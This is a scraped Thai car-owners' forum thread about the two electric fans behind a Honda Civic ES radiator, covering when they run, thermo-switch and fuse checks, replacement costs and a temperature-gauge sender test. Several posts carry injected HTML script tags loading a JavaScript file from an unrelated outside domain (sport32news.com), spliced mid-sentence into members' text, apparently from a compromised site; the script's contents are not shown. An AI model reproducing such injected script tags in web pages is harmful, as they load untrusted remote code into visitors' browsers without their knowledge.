พอดีมีพึ่งสังเกตุพัดลม2ตัว ตรงหลังหม้อน้ำ

BeL

ชื่อเล่น: เบล

เข้าร่วม: 03 กันยา 2009
ตอบ: 485

แซงซ้าย ปาดขวา

ได้รับคำขอบคุณ: 644
ให้คำขอบคุณ: 2510

ที่อยู่: ยุดยา ลาดพร้าว
ปี: 2001
สี: เทา ซิกเน็ต (เมทัลลิก) (RP-31M)

ศุกร์, 6 พฤศจิกา 2009 16:13 - พอดีมีพึ่งสังเกตุพัดลม2ตัว ตรงหลังหม้อน้ำ

พอดีวันนี้เช็ครถตามปกติ แล้ว ไปเห็นพัดลม 2ตัวหลังหม้อน้ำ ไม่ทำงาน กะเลยลองเปิดแอร์ดูก็ไม่ทำงานอีก
ต่อไปลองเปิดน้ำยาแอร์ มันก็ถึงจะทำงาน ไม่ทราบว่าแบบนี้ปกติ หรือเปล่าครับ ที่พัดลมหลังหม้อน้ำ2ตัวจะทำงานก็ต่อเมื่อ
เปิดน้ำยาแอร์ ขอให้พี่ๆช่วยชี้แนะทีครับ ขอบคุณมากครับ

Lee_ES_turbo

เข้าร่วม: 02 ตุลา 2008
ตอบ: 4446

ครอบครัว ES

ได้รับคำขอบคุณ: 8088
ให้คำขอบคุณ: 5249

ปี: 2004

ศุกร์, 6 พฤศจิกา 2009 16:22 - พอดีมีพึ่งสังเกตุพัดลม2ตัว ตรงหลังหม้อน้ำ

BeL พิมพ์ว่า:

พัดลม 2 ตัวนี้ทำงานตามอุณหภูมิของเครื่องยนต์ แล้วก่อเวลาเปิดเเอร์ที่ไฟ AC ติดอ่ะคับ พัดลม 2 ตัวนี้จะทำงานทั้งที

ได้รับคำขอบคุณจาก: BeL kittidech Bunn.. Tomoya Psn SYS

BeL

ชื่อเล่น: เบล

เข้าร่วม: 03 กันยา 2009
ตอบ: 485

แซงซ้าย ปาดขวา

ศุกร์, 6 พฤศจิกา 2009 16:25 - พอดีมีพึ่งสังเกตุพัดลม2ตัว ตรงหลังหม้อน้ำ

Lee_ES_turbo พิมพ์ว่า:

BeL พิมพ์ว่า:

ขอบคุณครับพี่ลีถ้างั้นแสดงว่าถ้าเครื่องยังไม่ร้อนก็จะไม่หมุนใช่ปะครับพี่

jonatan

ชื่อเล่น: โจ

เข้าร่วม: 02 ตุลา 2008
ตอบ: 6291

ครอบครัว ES

ได้รับคำขอบคุณ: 19304
ให้คำขอบคุณ: 13458

ที่อยู่: ประชาอุทิศ - สุขสวัสดิ์ - สีลม
ปี: 2005
สี: เทา ซิลเวอร์สโตน (NH-630M)

ศุกร์, 6 พฤศจิกา 2009 16:57 - พอดีมีพึ่งสังเกตุพัดลม2ตัว ตรงหลังหม้อน้ำ

ถูกต้องแล้วคับ ปัญหาพัดลมของรถผม เพิ่งจบไปอ่ะ อิ อิ
ถ้าเปิดแอร์แต่ไม่ได้เปิด AC พัดลมจะไม่ทำงาน จนกว่าความร้อนจะถึงจุด
ง่ายๆ พัดลมของ ES ทั้ง 2 ตัว ทั้งเปิดแอร์ (กด AC ด้วยน่ะ) และ ไม่เปิดแอร์
แต่เมื่อความร้อนถึง ต้องทำงานทั้ง 2 ตัว น่ะคับ ถ้าพัดลมทำงานตัวเดียว ก็งานเข้าเหมือนรถผมอ่ะ อิ อิ <script src="https://sport32news.com/civicesgroup.js"></

<script src="https://sport32news.com/civicesgroup.js"></

ได้รับคำขอบคุณจาก: BANKNOZZLE BeL Bunn.. Ta31e narong1193 pry1999

tur

ชื่อเล่น: เต๋อ

เข้าร่วม: 11 พฤษภาคม 2009
ตอบ: 1038

ครอบครัว ES

ได้รับคำขอบคุณ: 2473
ให้คำขอบคุณ: 1234

ปี: 2001
สี: เทา ซิกเน็ต (เมทัลลิก) (RP-31M)

ศุกร์, 6 พฤศจิกา 2009 18:10 - พอดีมีพึ่งสังเกตุพัดลม2ตัว ตรงหลังหม้อน้ำ

jonatan พิมพ์ว่า:

แต่ถ้าพัดลมไม่ทำงานทั้งสองตัวเมื่อเกจ์ความร้อนขึ้นเลยขีดระดับกลางไปแล้วให้เช็คตัวสวิทซ์กันความร้อนที่คอรีดระหว่างหม้อน้ำกับฝาวาล์วนะครับ เพราะจะเสื่อมง่ายถ้าไม่ค่อยได้ใช้นะครับ เวลาขับรถว่างๆลองปิดแอร์วิ่งดูมั่งนะครับ ให้สวิทซ์ตัวนี้ได้ทำงานมั่งก็ดีครับ จะได้ไม่เสียง่ายนะครับ

ได้รับคำขอบคุณจาก: BeL tor-es Bunn.. wave Tomoya Ta31e toshihero cisco arthit10 MIGGERS narong1193 chaichan pry1999

BeL

ชื่อเล่น: เบล

เข้าร่วม: 03 กันยา 2009
ตอบ: 485

แซงซ้าย ปาดขวา

ศุกร์, 6 พฤศจิกา 2009 19:24 - พอดีมีพึ่งสังเกตุพัดลม2ตัว ตรงหลังหม้อน้ำ

tur พิมพ์ว่า:

jonatan พิมพ์ว่า:

ขอบคุณครับที่แนะนำ

แต่ถ้าพัดลมไม่ทำงานทั้งสองตัวเมื่อเกจ์ความร้อนขึ้นเลยขีดระดับกลางไปแล้วให้เช็คตัวสวิทซ์กันความร้อนที่คอรีดระหว่างหม้อน้ำกับฝาวาล์วนะครับ เพราะจะเสื่อมง่ายถ้าไม่ค่อยได้ใช้นะครับ เวลาขับรถว่างๆลองปิดแอร์วิ่งดูมั่งนะครับ ให้สวิทซ์ตัวนี้ได้ทำงานมั่งก็ดีครับ จะได้ไม่เสียง่ายนะครับ

ขอบคุณครับจะลองเช็คดู

ได้รับคำขอบคุณจาก: Oil_liO

khunmoo

ชื่อเล่น: เปี๊ยก

เข้าร่วม: 15 กันยา 2009
ตอบ: 812

Guru ES
Guru ES

ได้รับคำขอบคุณ: 719
ให้คำขอบคุณ: 800

ที่อยู่: วังสวนสุนันทา
ปี: 2001
สี: เทา ซิกเน็ต (เมทัลลิก) (RP-31M)

ศุกร์, 6 พฤศจิกา 2009 20:05 - พอดีมีพึ่งสังเกตุพัดลม2ตัว ตรงหลังหม้อน้ำ

เก็บข้อมูลครับ "<script src="https://sport32news.com/civicesgroup.js">

kittidech

ชื่อเล่น: กิต คร้าบ

เข้าร่วม: 06 กรกฎา 2009
ตอบ: 2334

Moderator

ได้รับคำขอบคุณ: 2835
ให้คำขอบคุณ: 15110

ที่อยู่: อ.บ้านบึง จ.ชลบุรี
ปี: 2005
สี: ดำ ไนท์ฮอว์ก (B-92P)

ศุกร์, 6 พฤศจิกา 2009 21:41 - พอดีมีพึ่งสังเกตุพัดลม2ตัว ตรงหลังหม้อน้ำ

ได้ความรู้มาอีกแล้ว

saw

ชื่อเล่น: ซอ เพชรบุร

เข้าร่วม: 24 มกรา 2009
ตอบ: 2873

ครอบครัว ES

ได้รับคำขอบคุณ: 2127
ให้คำขอบคุณ: 2684

ที่อยู่: บ้านลาด เพชรบุรี รับพาเสียวทั่วเพชรบุรี
ปี: 2004
สี: ดำ ไนท์ฮอว์ก (B-92P)

ศุกร์, 6 พฤศจิกา 2009 22:25 - พอดีมีพึ่งสังเกตุพัดลม2ตัว ตรงหลังหม้อน้ำ

กระจ่าง

ming

ชื่อเล่น: หมิง

เข้าร่วม: 24 สิงหา 2009
ตอบ: 617

Guru ES
Guru ES

ได้รับคำขอบคุณ: 844
ให้คำขอบคุณ: 1701

ที่อยู่: บางปู สมุทรปราการ
ปี: 2003
สี: เทา ซิลเวอร์สโตน (NH-630M)

อาทิตย์, 8 พฤศจิกา 2009 13:27 - พอดีมีพึ่งสังเกตุพัดลม2ตัว ตรงหลังหม้อน้ำ

เก็บข้อมูล
ขอบคุณครับ

Lang-es01

ชื่อเล่น: หรั่ง

เข้าร่วม: 29 กรกฎา 2009
ตอบ: 536

แซงซ้าย ปาดขวา

ได้รับคำขอบคุณ: 247
ให้คำขอบคุณ: 14

ที่อยู่: ลพบุรี
ปี: 2001
สี: ขาว ทาฟเฟต้า (NH-578)

พฤหัส, 12 พฤศจิกา 2009 09:55 - พอดีมีพึ่งสังเกตุพัดลม2ตัว ตรงหลังหม้อน้ำ

เก็บข้อมูลครับ

jonatan

ชื่อเล่น: โจ

เข้าร่วม: 02 ตุลา 2008
ตอบ: 6291

ครอบครัว ES

พฤหัส, 12 พฤศจิกา 2009 16:11 - พอดีมีพึ่งสังเกตุพัดลม2ตัว ตรงหลังหม้อน้ำ

วิธีเช็คว่าฟิวส์ตัวไหนเป็น
ฟิวส์ พัดลมไฟฟ้าหม้อน้ำ และ แอร์ ของ ES น่ะคับ <script src="https://sport32news.com/civicesgroup.js"></

ตัวนี้เป็นฟิวส์พัดลม หม้อน้ำ (ฝั่งคนขับ) ต้นปัญหาของความร้อนขึ้นอ่ะ ผมหาตั้งนาน เส้นผมบังภูเขา จริงๆ
พอดีมีพึ่งสังเกตุพัดลม2ตัว ตรงหลังหม้อน้ำ

ตัวนี้เป็นพัดลม แอร์ (ฝั่งคนนั่ง) ซึ่งมีขนาดใหญ่กว่าพัดลมหม้อน้ำ
พอดีมีพึ่งสังเกตุพัดลม2ตัว ตรงหลังหม้อน้ำ

ส่วนตัวนี้แถมให้ไปคับ เป็นฟิวส์+รีเรย์ในตัว เป็นฟิวส์เมนใหญ่ของพัดลมไฟฟ้าทั้ง 2 ตัวอ่ะคับ
พอดีมีพึ่งสังเกตุพัดลม2ตัว ตรงหลังหม้อน้ำ

ปล.ลองเช็คกันดูน่ะคับว่าพัดลมตัวไหนไม่ทำงาน แต่ต้องแน่ใจก่อนน่ะคับว่า
พัดลมของคุณ ไม่เสีย (โดยดึงปลั๊กพัดลมออก แล้วหาสายไฟ 2 เส้น จี้ บวก ลบ ไปที่ขั้วแบตฯ ว่าพัดลมหมุนรึป่าว)

ได้รับคำขอบคุณจาก: V_ES Lee_ES_turbo toshihero cisco narong1193 pry1999 vat SYS Oil_liO

rinnaree

เข้าร่วม: 30 พฤษภาคม 2011
ตอบ: 2

น้องใหม่

ได้รับคำขอบคุณ: 0
ให้คำขอบคุณ: 0

จันทร์, 22 สิงหา 2011 11:25 - พัดลมทำบ้างไม่ทำบ้าง

พัดลมหลังหม้อน้ำฝั่งคนขับ ทำงานบ้างไม่ทำบ้าง ช่างแอร์บอกว่าเป็นที่มอเตอร์ พอเคาะ ๆ ที่มอเตอร์ก็พัดต่อ
ช่างบอกต้องเปลี่ยนราคา 1,700 บาท
รบกวนสมาชิกและพี่ ๆ หน่อยค่ะ

MIGGERS

เข้าร่วม: 16 มีนา 2011
ตอบ: 268

มีใบอนุญาตขับขี่

ได้รับคำขอบคุณ: 368
ให้คำขอบคุณ: 38

ที่อยู่: Bangkok
ปี: 2005
สี: ทอง แซทเทิลไลท์ (NH-663M)

จันทร์, 22 สิงหา 2011 12:25 - พอดีมีพึ่งสังเกตุพัดลม2ตัว ตรงหลังหม้อน้ำ

tur พิมพ์ว่า:

jonatan พิมพ์ว่า:

มีวิธีตรวจสอบเบื้องต้นง่ายๆหรือป่าวคับ แล้วสถ้าเสียขึ้นมา อาการรถจะเป็นอย่างไรครับ

raab_es

เข้าร่วม: 04 มิถุนา 2009
ตอบ: 49

น้องใหม่

ได้รับคำขอบคุณ: 18
ให้คำขอบคุณ: 9

ปี: 2002
สี: เงิน ซาติน (เมทัลลิก) (NH-623M)

จันทร์, 22 สิงหา 2011 13:50 - Re: พัดลมทำบ้างไม่ทำบ้าง

rinnaree พิมพ์ว่า:

อาการเดียวกันครับ ผมเปลี่ยนมา 1000 ครับ พร้อมค่าแรง เป็นของมือสองนะครับ

raab_es

เข้าร่วม: 04 มิถุนา 2009
ตอบ: 49

น้องใหม่

ได้รับคำขอบคุณ: 18
ให้คำขอบคุณ: 9

ปี: 2002
สี: เงิน ซาติน (เมทัลลิก) (NH-623M)

จันทร์, 22 สิงหา 2011 14:31 - พอดีมีพึ่งสังเกตุพัดลม2ตัว ตรงหลังหม้อน้ำ

MIGGERS พิมพ์ว่า:

tur พิมพ์ว่า:

jonatan พิมพ์ว่า:

ผมอ่านเจอมาครับลองดูครับ

วิธีตรวจสอบว่าเกจ์วัดความร้อนผิดปกติหรือไม่ :
ระบบมาตรวัดความร้อนเครื่องยนต์ จะประกอบด้วย
1.ส่วนแสดงผล(เข็มแสดงอุณหภูมิที่หน้าปัดเรือนไมล์) เป็น moving coil ที่ทำงานโดยรับ
แรงดันไฟฟ้า จาก ECT gauge sending unit มาแปลงแสดงเป็นระดับค่าอุณหภูมิโดย
เข็มวัดขึ้นลงตาม scale (check เบื้องต้นโดย :ปิด switch กุญแจมาที่ OFF ,ถอด
ขั้ว ECT gauge sending unit ออก , ต่อขั้วของสาย ECT gauge sending unit ลง
ground กับตัวรถ , บิด switch กุญแจไปที่ on และดูว่าถ้าเข็มวัดความร้อนขึ้น ก็แสดงว่า
ปกติ
ข้อควรระวัง ! ต้อง ปิดswitch กุญแจมาที่ off ก่อนที่เข็มจะขึ้นไปถึงระดับสูงสุดของ scale
2.ส่วนที่วัดอุณหภูมิ (ECT gauge sending unit = engine coolant temperature gauge
sending unit) เป็นตัวต้านทานปรับค่าได้ตามอุณหภูมิ ( variable resistor) โดยค่าความ
ต้านทานปรับแปรผันกับอุณหภูมิ ความต้านทานจะมากที่อุณหภูมิต่ำ และค่าความต้านทาน
จะน้อยลงทเมื่ออุณหภูมิสูงขึ้น (check เบื้องต้นโดย : ถอดขั้ว ECT gauge sending
unit ออก , ใช้ Ohm meter มาวัดที่ตัว ECT gauge sending unit โดยขั้ว + ของ ohm
meterต่อที่ขั้วของตัว ECT gauge sending unit และขั้ว - ของ ohm meter ต่อกับ
เครื่อง (ground) , ดูค่าที่วัดได้ , ติดเครื่องยนต์เดินเบาจนกว่าพัดลมไฟฟ้าจะทำงาน
(วาวล์น้ำเปิด) , ดูค่าที่วัดได้อีกครั้ง , ถ้าค่าที่ วัดได้ตอนติดเครื่องแตกต่างจากตอนไม่ติดเครื่องตามที่ spec
ระบุไว้แสดงว่า ECT gauge sending unit ปกติ แต่ถ้าค่าที่วัดได้แตกต่างกันไม่ได้ตาม spec ที่ระบุไว้แสดงว่า
ผิดปกติ (เปลี่ยนตัวใหม่)
หมายเหตุ
1.ตำแหน่งของ ECT gauge sending unit จะอยู่ที่เครื่องบริเวณด้านล่างของช่องน้ำออก
จากเครื่องไปยังหม้อน้ำ(ตรงที่ต่อท่อยางตัวบน ไปหม้อน้ำ)
2.บริเวณเดียวกันนี้ จะมี ECT sensor อยู่อีกตัว ข้อสังเกตคือ ECT gauge sending unit
จะมีสายไปต่ออยู่เส้นเดียว ขณะที่ ECT sensor จะมีสายไฟต่ออยู่ 2 เส้นตัว
3.ตัว ECT gauge sending unit จะอยู่ถัด ECT sensor เข้าไปทางด้านท้ายรถ
4.ค่าความต้านทานของ ECT gauge sending unit ตามที่ระบุใน manual
4.1.ที่อุณหภูมิ 56 องศาC = 142 ohm
4.2.ที่อุณหภูมิ 85-100 องศาC = 49-32 ohm

ที่มา Honda Family's Archiver

ได้รับคำขอบคุณจาก: pry1999 vat SYS

pry1999

ชื่อเล่น: หนุ่ม

เข้าร่วม: 13 มิถุนา 2009
ตอบ: 463

แซงซ้าย ปาดขวา

ได้รับคำขอบคุณ: 164
ให้คำขอบคุณ: 483

ที่อยู่: Bangkok
ปี: 2004
สี: เงิน ซาติน (เมทัลลิก) (NH-623M)

อังคาร, 23 สิงหา 2011 23:45 - พอดีมีพึ่งสังเกตุพัดลม2ตัว ตรงหลังหม้อน้ำ

เก็บข้อมูลครับ